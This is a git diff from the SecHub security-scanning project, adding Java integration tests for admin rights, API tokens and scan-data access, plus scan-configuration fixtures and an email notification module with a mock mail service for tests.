isInSuperAdminList(); + /* test notifications */ + assertUser(adminUser).hasReceivedEmail("Sechub administrator priviledges granted"); + assertMailExists("sechub@example.org", "A user gained sechub administrator rights"); + } + /* @formatter:on */ + + + @Test + public void anynmouse_can_NOT_grant_user_admin_rights() { + assertUser(ANONYMOUS).canNotGrantSuperAdminRightsTo(USER_2, HttpStatus.UNAUTHORIZED); + } + + @Test + public void user1_can_NOT_grant_user_admin_rights() { + assertUser(USER_1).canNotGrantSuperAdminRightsTo(USER_2, HttpStatus.FORBIDDEN); + } + + @Test + public void anynmouse_can_NOT_revoke_user_admin_rights() { + /* prepare */ + TestUser adminUser = USER_2; + as(SUPER_ADMIN).grantSuperAdminRightsTo(adminUser); + assertUser(adminUser).isSuperAdmin(); + + /* execute + test*/ + assertUser(ANONYMOUS).canNotRevokeSuperAdminRightsFrom(adminUser, HttpStatus.UNAUTHORIZED); + } + + @Test + public void user1_can_NOT_revoke_user_admin_rights() { + /* prepare */ + TestUser adminUser = USER_2; + as(SUPER_ADMIN).grantSuperAdminRightsTo(adminUser); + assertUser(adminUser).isSuperAdmin(); + + /* execute + test*/ + assertUser(USER_1).canNotRevokeSuperAdminRightsFrom(adminUser, HttpStatus.FORBIDDEN); + } + + /* @formatter:off */ + @Test + public void superadmin_can_revoke_user_admin_rights() { + /* prepare */ + TestUser adminUser = USER_2; + as(SUPER_ADMIN).grantSuperAdminRightsTo(adminUser); + assertUser(adminUser).isSuperAdmin(); + + /* execute + test */ + assertUser(SUPER_ADMIN).canRevokeSuperAdminRightsTo(adminUser); + /* test behavior*/ + assertUser(adminUser). + isNotSuperAdmin(). + isNotInSuperAdminList(); + + /* test notifications */ + assertUser(adminUser).hasReceivedEmail("Sechub administrator priviledges revoked"); + assertMailExists("sechub@example.org", "An admin lost sechub administrator rights"); + } + /* @formatter:on */ + + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/UserRequestsNewAPITokenIntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/UserRequestsNewAPITokenIntTest.java new file mode 100644 index 0000000000..754abf3609 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/UserRequestsNewAPITokenIntTest.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario2.Scenario2.*; +import static org.junit.Assert.*; + +import org.junit.Rule; +import org.junit.Test; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; + +public class UserRequestsNewAPITokenIntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario2.class); + + @Test + public void an_unregistered_user_can_trigger_new_api_token_request_leads_to_mail_with_link_to_fetch_new_apitoken() { + /* prepare */ + as(ANONYMOUS).requestNewApiTokenFor(USER_1.getEmail()); + + /* execute receive of new api token*/ + String link = getLinkToFetchNewAPITokenAfterChangeRequest(USER_1); + String apiToken = udpdateAPITokenByOneTimeTokenLink(USER_1, link); + + /* test */ + assertNotNull(apiToken); + assertFalse(apiToken.isEmpty()); + assertEquals(USER_1.getApiToken(),apiToken); + + } + + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario3/FullScanDataScenario3SecHubClientIntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario3/FullScanDataScenario3SecHubClientIntTest.java new file mode 100644 index 0000000000..597f518e96 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario3/FullScanDataScenario3SecHubClientIntTest.java @@ -0,0 +1,143 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario3; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario3.Scenario3.*; +import static org.junit.Assert.*; + +import java.io.IOException; +import java.util.Collections; +import java.util.UUID; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.integrationtest.api.AssertFullScanData; +import com.daimler.sechub.integrationtest.api.AssertFullScanData.FullScanDataElement; +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; +import com.daimler.sechub.integrationtest.internal.SecHubClientExecutor.ExecutionResult; + +public class FullScanDataScenario3SecHubClientIntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario3.class); + +// @Rule +// public Timeout timeOut = Timeout.seconds(60); + + @Rule + public ExpectedException expected = ExpectedException.none(); + + + @Test + public void product_failure_results_in_downloadable_fullscan_product_result_is_empty_and_report_contains_vulnerability_1_about_sechub_failure() throws IOException { + /* check preconditions*/ + assertUser(USER_1). + isAssignedToProject(PROJECT_1). + hasOwnerRole(). + hasUserRole(); + + as(SUPER_ADMIN).updateWhiteListForProject(PROJECT_1, Collections.singletonList("https://productfailure.demo.example.org")); + + /* prepare - just execute a job */ + ExecutionResult result = as(USER_1).withSecHubClient().startSynchronScanFor(PROJECT_1, "sechub-integrationtest-webscanconfig-scenario3-productfailure.json"); + UUID sechubJobUUID = result.getSechubJobUUD(); + + assertNotNull("No sechub jobUUId found-maybe client call failed?",sechubJobUUID); + + /* execute */ + AssertFullScanData assertFullScanData = as(SUPER_ADMIN).downloadFullScanDataFor(sechubJobUUID); + + /* test */ + assertFullScanData. + containsFiles(3). + containsFile("NETSPARKER.txt").// txt because just empty text + containsFile("SERECO.json"); + + + FullScanDataElement netsparker = assertFullScanData.resolveFile("NETSPARKER.txt"); + assertEquals("",netsparker.content); + FullScanDataElement sereco = assertFullScanData.resolveFile("SERECO.json"); + + assertTrue(sereco.content.contains("\"type\":\"SecHub failure\"")); + assertTrue(sereco.content.contains("Security product 'NETSPARKER' failed")); + } + + + @Test + public void when_job_was_executed__admin_is_able_to_download_fullscan_zip_file_for_this_sechub_job() throws IOException { + /* check preconditions*/ + assertUser(USER_1). + isAssignedToProject(PROJECT_1). + hasOwnerRole(). + hasUserRole(); + + /* prepare - just execute a job */ + ExecutionResult result = as(USER_1).withSecHubClient().startSynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-green.json"); + UUID sechubJobUUID = result.getSechubJobUUD(); + + assertNotNull("No sechub jobUUId found-maybe client call failed?",sechubJobUUID); + + /* execute */ + AssertFullScanData assertFullScanData = as(SUPER_ADMIN).downloadFullScanDataFor(sechubJobUUID); + + /* test */ + assertFullScanData. + containsFiles(3). + containsFile("CHECKMARX.xml"). + containsFile("SERECO.json") + ; + + FullScanDataElement log = assertFullScanData.resolveFileStartingWith("log_"); + assertTrue(log.content.contains("executedBy="+USER_1.getUserId())); + assertTrue(log.content.contains("projectId="+PROJECT_1.getProjectId())); + } + + @Test + public void when_user1_has_started_job_for_project_admin_is_able_to_fetch_json_scanlog_which_is_containing_jobuuid_and_executor() throws IOException { + /* prepare - just execute a job */ + ExecutionResult result = as(USER_1).withSecHubClient().startSynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-green.json"); + UUID sechubJobUUID = result.getSechubJobUUD(); + + assertNotNull("No sechub jobUUId found-maybe client call failed?",sechubJobUUID); + + /* execute */ + String json = as(SUPER_ADMIN).getScanLogsForProject(PROJECT_1); + + /* test */ + assertNotNull(json); + assertTrue(json.contains(sechubJobUUID.toString())); + assertTrue(json.contains(USER_1.getUserId())); + } + + @Test + public void when_user1_has_started_job_for_project_user1_is_NOT_able_to_fetch_json_scanlog() throws IOException { + /* prepare - just execute a job */ + ExecutionResult result = as(USER_1).withSecHubClient().startSynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-green.json"); + UUID sechubJobUUID = result.getSechubJobUUD(); + + assertNotNull("No sechub jobUUId found-maybe client call failed?",sechubJobUUID); + + /* execute */ + expectHttpFailure(()->as(USER_1).getScanLogsForProject(PROJECT_1), HttpStatus.FORBIDDEN); + } + + @Test + public void when_user1_has_started_job_for_project_user1_is_NOT_able_to_download_fullscan_zipfile() throws IOException { + /* prepare - just execute a job */ + ExecutionResult result = as(USER_1).withSecHubClient().startSynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-green.json"); + UUID sechubJobUUID = result.getSechubJobUUD(); + + assertNotNull("No sechub jobUUId found-maybe client call failed?",sechubJobUUID); + + /* execute */ + expectHttpFailure(()->as(USER_1).downloadFullScanDataFor(sechubJobUUID), HttpStatus.FORBIDDEN); + } + + + + + +} diff --git a/sechub-integrationtest/src/test/resources/.gitignore b/sechub-integrationtest/src/test/resources/.gitignore new file mode 100644 index 0000000000..9f1aa417d5 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/.gitignore @@ -0,0 +1,2 @@ +!*.json +!*.zip \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/checksum-testfiles/README.md b/sechub-integrationtest/src/test/resources/checksum-testfiles/README.md new file mode 100644 index 0000000000..2f4d236418 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/checksum-testfiles/README.md @@ -0,0 +1,17 @@ + +# About this folder +It will be used for exclude mechanism working on sechub client uploading. +`sechub-integrationtest-client-sourcescan-exluded_some_files.json` +does simple exclude this `README.md` and all `exclude-me.txt` files + +## Where is this file used? +See `SecHubExecutionScenarioSecHubClientIntTest.java` and also `sechub-integrationtest-client-sourcescan-excluded_some_files.json` + +## Warning +Please do not change the content of this folder and subfolders because the exclude +check is done by creating a checksum which is calculated without the excluded files. +So changing content of included parts will fail test! If you must change the files be aware +to create a windows and a linux checksum. Why? Because zip files generated for windows are always +a little bit different than on Linux - even when same content. Maybe pathes or a hidden OS stamp... +So prevent build and test problems we provide 2 dedicated sha256 keys: one for Windows another for Linux. +Sound a little bit odd, but is still okay, because keys are valid on their OS. \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/checksum-testfiles/exclude-me.txt b/sechub-integrationtest/src/test/resources/checksum-testfiles/exclude-me.txt new file mode 100644 index 0000000000..ea712b9d0e --- /dev/null +++ b/sechub-integrationtest/src/test/resources/checksum-testfiles/exclude-me.txt @@ -0,0 +1 @@ +# i am also excluded \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/checksum-testfiles/not-excluded.txt b/sechub-integrationtest/src/test/resources/checksum-testfiles/not-excluded.txt new file mode 100644 index 0000000000..82f3244a4f --- /dev/null +++ b/sechub-integrationtest/src/test/resources/checksum-testfiles/not-excluded.txt @@ -0,0 +1,5 @@ +# This is a not excluded file +# Windows and Linux zip creation seems to always have problems with CR/LF vs. LF +# But this is not only inside zipped files, but also on content +# To prevent checksum problems on exclusion testing, we use one checksum for windows and one for linux +# So CR/CL does not matter in remaining files \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/checksum-testfiles/subfolder/exclude-me.txt b/sechub-integrationtest/src/test/resources/checksum-testfiles/subfolder/exclude-me.txt new file mode 100644 index 0000000000..c9bb579758 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/checksum-testfiles/subfolder/exclude-me.txt @@ -0,0 +1,2 @@ +# this file may not be inside upload because it shall be filtered +# changed - but dow not matter... because excluded \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/checksum-testfiles/subfolder/not-excluded-2.txt b/sechub-integrationtest/src/test/resources/checksum-testfiles/subfolder/not-excluded-2.txt new file mode 100644 index 0000000000..1acf650260 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/checksum-testfiles/subfolder/not-excluded-2.txt @@ -0,0 +1 @@ +# This file is also not excluded \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-infrascan.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-infrascan.json new file mode 100644 index 0000000000..6a8173c3c9 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-infrascan.json @@ -0,0 +1,8 @@ +{ + "apiVersion" : "1.0" , + + "infraScan": { + "uris": ["https://fscan.intranet.example.org/"] + } + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-excluded_some_files.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-excluded_some_files.json new file mode 100644 index 0000000000..a15b153fe7 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-excluded_some_files.json @@ -0,0 +1,11 @@ +{ + "apiVersion" : "1.0" , + + "codeScan": { + "fileSystem": { + "folders": ["../../../../../sechub-integrationtest/src/test/resources/checksum-testfiles"] + }, + "excludes": ["**/exclude-me.txt","README.md"] + } + +} diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-green-extreme-big.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-green-extreme-big.json new file mode 100644 index 0000000000..e17ec7d672 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-green-extreme-big.json @@ -0,0 +1,149 @@ +{ + "apiVersion" : "1.0" , + + "codeScan": { + "fileSystem": { + "folders": + ["../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src", + "../../../../src" + ] + } + } + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-green.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-green.json new file mode 100644 index 0000000000..9c4b992797 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-green.json @@ -0,0 +1,10 @@ +{ + "apiVersion" : "1.0" , + + "codeScan": { + "fileSystem": { + "folders": ["../../../../src"] + } + } + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-yellow.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-yellow.json new file mode 100644 index 0000000000..4c7ae86674 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-client-sourcescan-yellow.json @@ -0,0 +1,10 @@ +{ + "apiVersion" : "1.0" , + + "codeScan": { + "fileSystem": { + "folders": ["../sechub-doc/src/main/java"] + } + } + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-updatewhitelist1.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-updatewhitelist1.json new file mode 100644 index 0000000000..4dae21b553 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-updatewhitelist1.json @@ -0,0 +1 @@ +{"apiVersion":"1.0","description":"description","whiteList":{"uris":[__acceptedUris__]}} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig-red-result.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig-red-result.json new file mode 100644 index 0000000000..f2e9be1566 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig-red-result.json @@ -0,0 +1,8 @@ +{ + + "apiVersion": "1.0", + + "webScan" : { + "uris": ["https://vulnerable.demo.example.org"] + } +} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig-scenario3-productfailure.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig-scenario3-productfailure.json new file mode 100644 index 0000000000..280fb5a5c0 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig-scenario3-productfailure.json @@ -0,0 +1,8 @@ +{ + + "apiVersion": "1.0", + + "webScan" : { + "uris": ["https://productfailure.demo.example.org"] + } +} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig1.json b/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig1.json new file mode 100644 index 0000000000..e66c109c26 --- /dev/null +++ b/sechub-integrationtest/src/test/resources/sechub-integrationtest-webscanconfig1.json @@ -0,0 +1,10 @@ +{ + + "apiVersion": "1.0", + + "project" : "__projectname__", + + "webScan" : { + "uris": ["__acceptedUri1__"] + } +} \ No newline at end of file diff --git a/sechub-integrationtest/src/test/resources/zipfile_contains_only_test1.txt.zip b/sechub-integrationtest/src/test/resources/zipfile_contains_only_test1.txt.zip new file mode 100644 index 0000000000..f617d9a44e Binary files /dev/null and b/sechub-integrationtest/src/test/resources/zipfile_contains_only_test1.txt.zip differ diff --git a/sechub-notification/build.gradle b/sechub-notification/build.gradle new file mode 100644 index 0000000000..e9a31aa545 --- /dev/null +++ b/sechub-notification/build.gradle @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-shared-kernel') + compile library.springboot_starter_mail + + testCompile project(':sechub-testframework') + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/NotificationConfiguration.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/NotificationConfiguration.java new file mode 100644 index 0000000000..ca88cd01e6 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/NotificationConfiguration.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +/** + * For examples see http://www.baeldung.com/spring-email + * @author Albert Tregnaghi + * + */ +@Component +public class NotificationConfiguration { + + private static final String DEFAULT_MAIL_ADRESS_ADMINISTRATORS = "sechub@example.org"; + + @Value("${sechub.notification.email.administrators:" + DEFAULT_MAIL_ADRESS_ADMINISTRATORS+ "}") + private String emailAdministrators; + + @MustBeDocumented + @Value("${sechub.notification.email.from}") + private String emailFrom; + + public String getEmailAdministrators() { + return emailAdministrators; + } + + + public String getEmailFrom() { + return emailFrom; + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/NotificationMessageHandler.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/NotificationMessageHandler.java new file mode 100644 index 0000000000..bb5898dea4 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/NotificationMessageHandler.java @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.notification.superadmin.InformAdminsThatUserBecomesAdminNotificationService; +import com.daimler.sechub.domain.notification.superadmin.InformAdminsThatUserNoLongerAdminNotificationService; +import com.daimler.sechub.domain.notification.user.InformUserThatUserBecomesAdminNotificationService; +import com.daimler.sechub.domain.notification.user.InformUserThatUserNoLongerAdminNotificationService; +import com.daimler.sechub.domain.notification.user.NewAPITokenAppliedUserNotificationService; +import com.daimler.sechub.domain.notification.user.NewApiTokenRequestedUserNotificationService; +import com.daimler.sechub.domain.notification.user.SignUpRequestedAdminNotificationService; +import com.daimler.sechub.domain.notification.user.UserDeletedNotificationService; +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +@Component +public class NotificationMessageHandler implements AsynchronMessageHandler { + + private static final Logger LOG = LoggerFactory.getLogger(NotificationMessageHandler.class); + + @Autowired + UserDeletedNotificationService userDeletedNotificationService; + + @Autowired + NewAPITokenAppliedUserNotificationService newAPITokenAppliedUserNotificationService; + + @Autowired + NewApiTokenRequestedUserNotificationService newApiTokenRequestedUserNotificationService; + + @Autowired + SignUpRequestedAdminNotificationService signupRequestedAdminNotificationService; + + @Autowired + InformUserThatUserBecomesAdminNotificationService informUserThatUserBecomesAdminNotificationService; + + @Autowired + InformAdminsThatUserBecomesAdminNotificationService informAdminsThatUserBecomesAdminNotificationService; + + @Autowired + InformUserThatUserNoLongerAdminNotificationService informUserThatUserNoLongerAdminNotificationService; + + @Autowired + InformAdminsThatUserNoLongerAdminNotificationService informAdminsThatUserNoLongerAdminNotificationService; + + @Override + public void receiveAsyncMessage(DomainMessage request) { + MessageID messageId = request.getMessageId(); + + LOG.debug("received domain request: {}", request); + + switch (messageId) { + case USER_NEW_API_TOKEN_REQUESTED: + handlNewAPITokenRequested(request.get(MessageDataKeys.USER_ONE_TIME_TOKEN_INFO)); + break; + case USER_API_TOKEN_CHANGED: + handleUserApiTokenChanged(request.get(MessageDataKeys.USER_API_TOKEN_DATA)); + break; + case USER_DELETED: + handleUserDeleted(request.get(MessageDataKeys.USER_DELETE_DATA)); + break; + case USER_SIGNUP_REQUESTED: + handleSignupRequested(request.get(MessageDataKeys.USER_SIGNUP_DATA)); + break; + case USER_BECOMES_SUPERADMIN: + handleUserBecomesSuperAdmin(request.get(MessageDataKeys.USER_CONTACT_DATA),request.get(MessageDataKeys.ENVIRONMENT_BASE_URL)); + break; + case USER_NO_LONGER_SUPERADMIN: + handleUserNoLongerSuperAdmin(request.get(MessageDataKeys.USER_CONTACT_DATA),request.get(MessageDataKeys.ENVIRONMENT_BASE_URL)); + break; + default: + throw new IllegalStateException("unhandled message id:" + messageId); + } + } + + @IsReceivingAsyncMessage(MessageID.USER_NO_LONGER_SUPERADMIN) + private void handleUserNoLongerSuperAdmin(UserMessage userMessage, String baseUrl) { + informUserThatUserNoLongerAdminNotificationService.notify(userMessage, baseUrl); + informAdminsThatUserNoLongerAdminNotificationService.notify(userMessage, baseUrl); + } + + @IsReceivingAsyncMessage(MessageID.USER_BECOMES_SUPERADMIN) + private void handleUserBecomesSuperAdmin(UserMessage userMessage, String baseURL) { + informUserThatUserBecomesAdminNotificationService.notify(userMessage, baseURL); + informAdminsThatUserBecomesAdminNotificationService.notify(userMessage, baseURL); + } + + @IsReceivingAsyncMessage(MessageID.USER_DELETED) + private void handleUserDeleted(UserMessage userMessage) { + userDeletedNotificationService.notify(userMessage); + } + + @IsReceivingAsyncMessage(MessageID.USER_API_TOKEN_CHANGED) + private void handleUserApiTokenChanged(UserMessage userMessage) { + newAPITokenAppliedUserNotificationService.notify(userMessage); + } + + @IsReceivingAsyncMessage(MessageID.USER_NEW_API_TOKEN_REQUESTED) + private void handlNewAPITokenRequested(UserMessage userMessage) { + newApiTokenRequestedUserNotificationService.notify(userMessage); + } + + @IsReceivingAsyncMessage(MessageID.USER_SIGNUP_REQUESTED) + private void handleSignupRequested(UserMessage userMessage) { + signupRequestedAdminNotificationService.notify(userMessage); + } + +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/EmailService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/EmailService.java new file mode 100644 index 0000000000..3525998f78 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/EmailService.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import org.springframework.mail.SimpleMailMessage; + +public interface EmailService { + + public void send(SimpleMailMessage message); +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MailMessageFactory.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MailMessageFactory.java new file mode 100644 index 0000000000..0a5c802321 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MailMessageFactory.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import java.util.Date; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Component; + +import com.daimler.sechub.domain.notification.NotificationConfiguration; + +@Component +public class MailMessageFactory { + + @Autowired + private NotificationConfiguration configuration; + + /** + * Creates a simple mail message. date, from and subject are automatically set. + * @param subject + * @return + */ + public SimpleMailMessage createMessage(String subject) { + SimpleMailMessage message = new SimpleMailMessage(); + message.setFrom(configuration.getEmailFrom()); + message.setSubject(subject); + message.setSentDate(new Date()); + return message; + } +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java new file mode 100644 index 0000000000..8f321059a8 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailRestController.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import java.util.List; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Profile; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.sharedkernel.APIConstants; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; + +/** + * This is only availabe in mocked_notification profile. Interesting for integration tests to get the emails send... + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +@Profile(Profiles.MOCKED_NOTIFICATIONS) +public class MockEmailRestController { + + @Autowired + MockEmailService mockMailService; + + /* @formatter:off */ + @RequestMapping( + path = APIConstants.API_ANONYMOUS+"integrationtest/mock/emails/to/{emailAdress}", + method = RequestMethod.GET, + produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + @ResponseStatus(HttpStatus.OK) + public List getMailsFor(@PathVariable(name="emailAdress") String emailAdress) { + /* @formatter:on */ + return mockMailService.getMailsFor(emailAdress); + } + + /* @formatter:off */ + @RequestMapping( + path = APIConstants.API_ANONYMOUS+"integrationtest/mock/emails", + method = RequestMethod.DELETE, + produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + @ResponseStatus(HttpStatus.OK) + public void resetMockMails() { + /* @formatter:on */ + mockMailService.resetMockMails(); + } +} diff --git a/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java new file mode 100644 index 0000000000..fdbce656a5 --- /dev/null +++ b/sechub-notification/src/main/java/com/daimler/sechub/domain/notification/email/MockEmailService.java @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.notification.email; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Profile; +import org.springframework.mail.SimpleMailMessage; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.Profiles; + +@Service +@Profile(Profiles.MOCKED_NOTIFICATIONS) +public class MockEmailService implements EmailService{ + + + private static final Logger LOG = LoggerFactory.getLogger(MockEmailService.class); + + @MustBeDocumented("When email mock shall cache the mails this must be configured to true, per default disabled!") + @Value("${sechub.notification.email.mock.cache.enabled:false}") + 